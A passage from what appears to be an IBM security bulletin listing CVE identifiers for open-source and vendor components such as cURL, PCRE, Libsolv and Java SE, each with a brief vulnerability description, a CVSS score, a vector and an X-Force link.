https://exchange.xforce.ibmcloud.com/vulnerabilities/124507](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124507>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2016-10255](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10255>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by memory allocation failure in __libelf_set_rawdata_wrlock function in elf_getdata.c. By persuading a victim to open a specially crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124088](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124088>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2016-10254](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10254>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by memory allocation failure in allocate_elf function in common.h. By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124086](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124086>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-14062](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14062>) \n** DESCRIPTION: **Libidn2 is vulnerable to a denial of service, caused by an integer overflow in the decode_digit function in puny_decode.c. By persuading a victim to open a specially crafted file, a remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131302](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131302>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7246](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7246>) \n** DESCRIPTION: **PCRE is vulnerable to a denial of service, caused by a stack-based buffer overflow flaw in the pcre32_copy_substring function in pcre_get.c in libpcre1. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash or other unspecified impact. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/123733](<https://exchange.xforce.ibmcloud.com/vulnerabilities/123733>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7245](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7245>) \n** DESCRIPTION: **PCRE is vulnerable to a denial of service, caused by a stack-based buffer overflow flaw in the pcre32_copy_substring function in pcre_get.c in libpcre1. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash or other unspecified impact. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/123732](<https://exchange.xforce.ibmcloud.com/vulnerabilities/123732>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2016-4984](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4984>) \n** DESCRIPTION: **openldap-servers could allow a local authenticated attacker to obtain sensitive information, caused by a weak permission for /usr/libexec/openldap/generate-server-cert.sh issue. By leveraging a race condition between the creation of the certificate, a local attacker could exploit this vulnerability to obtain the TLS certificate. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/129440](<https://exchange.xforce.ibmcloud.com/vulnerabilities/129440>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2016-9318](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9318>) \n** DESCRIPTION: **Libxml2 could allow a remote attacker to obtain sensitive information, caused by failure to offer a flag directly indicating the status of current document. By using a specially-crafted document to conduct a XML external entity (XXE) attack, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/119018](<https://exchange.xforce.ibmcloud.com/vulnerabilities/119018>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2016-4493](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4493>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) is vulnerable to a denial of service, caused by a read access violation in demangle_template_value_parm and do_hpacc_template_literal functions in cplus-dem.c in libiberty. An attacker could exploit this vulnerability using a specially crafted binary to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116387](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116387>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-13685](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13685>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by a NULL pointer dereference in the dump_callback function. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131204](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131204>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2018-20483](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20483>) \n** DESCRIPTION: **GNU Wget could allow a local authenticated attacker to obtain sensitive information, caused by the storing of the origin URL in the user.xdg.origin.url metadata in the set_file_metadata function in xattr.c. By reading the metadata attribute, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/154793](<https://exchange.xforce.ibmcloud.com/vulnerabilities/154793>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-30720](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30720>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to bypass security restrictions, caused by a logic issue in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to access restricted ports on arbitrary servers. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202349](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202349>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2020-8908](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8908>) \n** DESCRIPTION: **Guava could allow a remote authenticated attacker to bypass security restrictions, caused by a temp directory creation vulnerability in com.google.common.io.Files.createTempDir(). By sending a specially-crafted request, an attacker could exploit this vulnerability to bypass access restrictions. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192996](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192996>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2016-10707](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10707>) \n** DESCRIPTION: **jQuery is vulnerable to a denial of service, caused by removing a logic that lowercased attribute names. By using a mixed-cased name for boolean attributes, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/138030](<https://exchange.xforce.ibmcloud.com/vulnerabilities/138030>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2018-18074](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18074>) \n** DESCRIPTION: **The Requests package for Python could allow a remote attacker to obtain sensitive information, caused by sending information in an insecure manner. By sniffing the network, a remote attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/151296](<https://exchange.xforce.ibmcloud.com/vulnerabilities/151296>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2018-3721](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3721>) \n** DESCRIPTION: **Node.js lodash module could allow a remote attacker to bypass security restrictions, caused by a flaw in the defaultsDeep, 'merge, and mergeWith functions. By modifing the prototype of Object, an attacker could exploit this vulnerability to add or modify existing property that will exist on all objects. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/144603](<https://exchange.xforce.ibmcloud.com/vulnerabilities/144603>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2019-18874](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18874>) \n** DESCRIPTION: **psutil is vulnerable to a denial of service, caused by a double free. By using specially-crafted data, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/171612](<https://exchange.xforce.ibmcloud.com/vulnerabilities/171612>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2020-14145](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14145>) \n** DESCRIPTION: **OpenSSH is vulnerable to a man-in-the-middle attack, caused by an observable discrepancy flaw. An attacker could exploit this vulnerability to launch a man-in-the-middle attack and gain access to the communication channel between endpoints to obtain sensitive information or further compromise the system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/184514](<https://exchange.xforce.ibmcloud.com/vulnerabilities/184514>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2020-24025](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24025>) \n** DESCRIPTION: **node-sass could allow a remote attacker to bypass security restrictions, caused by the disablement of certificate validation when requesting binaries even if the user is not specifying an alternative download path. By sending a specially-crafted request, an attacker could exploit this vulnerability to bypass access restrictions. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195029](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195029>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2020-24370](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24370>) \n** DESCRIPTION: **Lua is vulnerable to a denial of service, caused by a negation overflow and segmentation fault in getlocal and setlocal. A remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186868](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186868>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2020-28168](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28168>) \n** DESCRIPTION: **Node.js axios module is vulnerable to server-side request forgery, caused by improper input validation. By providing a URL that responds with a redirect to a restricted host or IP address, an attacker could exploit this vulnerability to conduct SSRF attack to bypass a proxy. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191660](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191660>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-30641](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30641>) \n** DESCRIPTION: **Apache HTTP Server could provide weaker than expected security, caused by unexpected URL matching behavior with 'MergeSlashes OFF. An attacker could exploit this vulnerability to match URLs from all sites in the same domain and launch further attacks on the system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203459](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203459>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-31535](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31535>) \n** DESCRIPTION: **X.Org libX11 is vulnerable to a denial of service, caused by improper input validation by the length of the string parameters. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause emission of extra X protocol requests to the X server, and results in a denial of service condition. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202043](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202043>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-33503](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33503>) \n** DESCRIPTION: **urllib3 is vulnerable to a denial of service, caused by a regular expression denial of service (ReDoS) flaw due to catastrophic backtracking. By sending a specially-crafted URL request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203109](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203109>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-33928](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33928>) \n** DESCRIPTION: **Libsolv is vulnerable to a denial of service, caused by a heap-based buffer overflow in the pool_installable in src/repo.h function. A remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-33929](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33929>) \n** DESCRIPTION: **Libsolv is vulnerable to a denial of service, caused by a heap-based buffer overflow in the pool_disabled_solvable in src/repo.h. A remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208665](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208665>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-33930](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33930>) \n** DESCRIPTION: **Libsolv is vulnerable to a denial of service, caused by a heap-based buffer overflow in the pool_installable_whatprovides in src/repo.h function. A remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208664](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208664>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-33938](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33938>) \n** DESCRIPTION: **Libsolv is vulnerable to a denial of service, caused by a heap-based buffer overflow in the prune_to_recommended in src/policy.c function. An attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208663](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208663>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35556](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35556>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the Swing component could allow an unauthenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211632](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211632>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35559](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35559>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the Swing component could allow an unauthenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211635](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211635>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35561](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35561>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the Utility component could allow an unauthenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211637](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211637>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35564](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35564>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the Keytool component could allow an unauthenticated attacker to cause no confidentiality impact, low integrity impact, and no availability impact. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211640](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211640>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-35565](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35565>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the JSSE component could allow an unauthenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211641](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211641>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35578](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35578>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the JSSE component could allow an unauthenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211654](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211654>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35586](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35586>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the ImageIO component could allow an unauthenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211661](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211661>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2020-29362](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29362>) \n** DESCRIPTION: **p11-glue p11-kit could allow a remote attacker to obtain sensitive information, caused by a heap-based buffer over-read flaw in the RPC protocol. By sending a specially-crafted request, an attacker could exploit this vulnerability to obtain up to 4 bytes of memory past the heap allocation, and use this information to launch further attacks against the affected system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/193533](<https://exchange.xforce.ibmcloud.com/vulnerabilities/193533>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2017-6891](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6891>) \n** DESCRIPTION: **GnuTLS libtasn1 is vulnerable to a stack-based buffer overflow, caused by 2 errors in the asn1_find_node function in lib/parser_aux.c. By persuading a victim to open a specially-crafted assignments file, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/127214](<https://exchange.xforce.ibmcloud.com/vulnerabilities/127214>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4008](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4008>) \n** DESCRIPTION: **GNU Libtasn1 is vulnerable to a denial of service, caused by improper handling of the ASN1_DECODE_FLAG_STRICT_DER flag in _asn1_extract_der_octet function in lib/decoding.c. By using a malformed certificate, a remote attacker could exploit this vulnerability to cause the application to stop responding. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/113127](<https://exchange.xforce.ibmcloud.com/vulnerabilities/113127>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-8817](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8817>) \n** DESCRIPTION: **cURL libcurl could allow a remote attacker to bypass security restrictions, caused by an out-of-bounds read flaw in the FTP wildcard matching function (CURLOPT_WILDCARDMATCH). By using a string that ends with an '[' character, an attacker could exploit this vulnerability to redirect the victim to an arbitrary site. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/135658](<https://exchange.xforce.ibmcloud.com/vulnerabilities/135658>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2016-8625](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8625>) \n** DESCRIPTION: **cURL/libcurl could provide weaker than expected security, caused by the translation of International Domain Names (IDNA) to puny code for DNS resolving using the IDNA 2003 standard. An attacker could exploit this vulnerability to issue network transfer requests to the wrong host. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118644](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118644>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2016-8624](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8624>) \n** DESCRIPTION: **cURL/libcurl could allow a remote attacker to bypass security restrictions, caused by the failure to parse the authority component of the URL when handling '#' character. By using a specially-crafted URL with '#' character, an attacker could exploit this vulnerability to bypass access restrictions. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118642](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118642>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2016-8621](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8621>) \n** DESCRIPTION: **cURL/libcurl could allow a remote attacker to obtain sensitive information, caused by an out of bounds read error within the curl_getdate function. By using specially-crafted date strings, a remote attacker could exploit this vulnerability to execute arbitrary code in the context of the process and obtain sensitive information. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118639](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118639>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2016-8616](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8616>) \n** DESCRIPTION: **cURL/libcurl could allow a remote attacker to bypass security restrictions, caused by the use of case insensitive comparisons. By using valid credentials exists for a protocol which supports connection-scoped credentials, an attacker could exploit this vulnerability to cause a connection to be reused. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118633](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118633>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2016-8615](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8615>) \n** DESCRIPTION: **cURL/libcurl is vulnerable to cookie injection, caused by an error related to fgets() function. By using a malicious server that sends a very long cookie name and value, a remote attacker could exploit this vulnerability to inject a malicious cookie for arbitrary domains. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118632](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118632>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-22924](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22924>) \n** DESCRIPTION: **An unspecified error with bad connection reused due to improper path name validation in cURL libcurl has an unknown impact and attack vector. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206047](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206047>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2016-0755](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0755>) \n** DESCRIPTION: **Libcurl could allow a remote attacker to bypass security restrictions, caused by the failure to check NTLM-authenticated proxy connections for reuse. An attacker could exploit this vulnerability to use a proxy connection for a different authenticated client username. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/110290](<https://exchange.xforce.ibmcloud.com/vulnerabilities/110290>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2019-13050](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13050>) \n** DESCRIPTION: **GNU Privacy Guard (GnuPG) is vulnerable to a denial of service, caused by a certificate spamming attack when referring to a host on the SKS keyserver network in the keyserver configuration. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/166417](<https://exchange.xforce.ibmcloud.com/vulnerabilities/166417>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2015-5276](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5276>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) could provide weaker than expected security, caused by the failure to properly handle short reads from blocking sources by the std::random_device class in libstdc++. A remote attacker could exploit thsi vulnerability to predict random values. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ 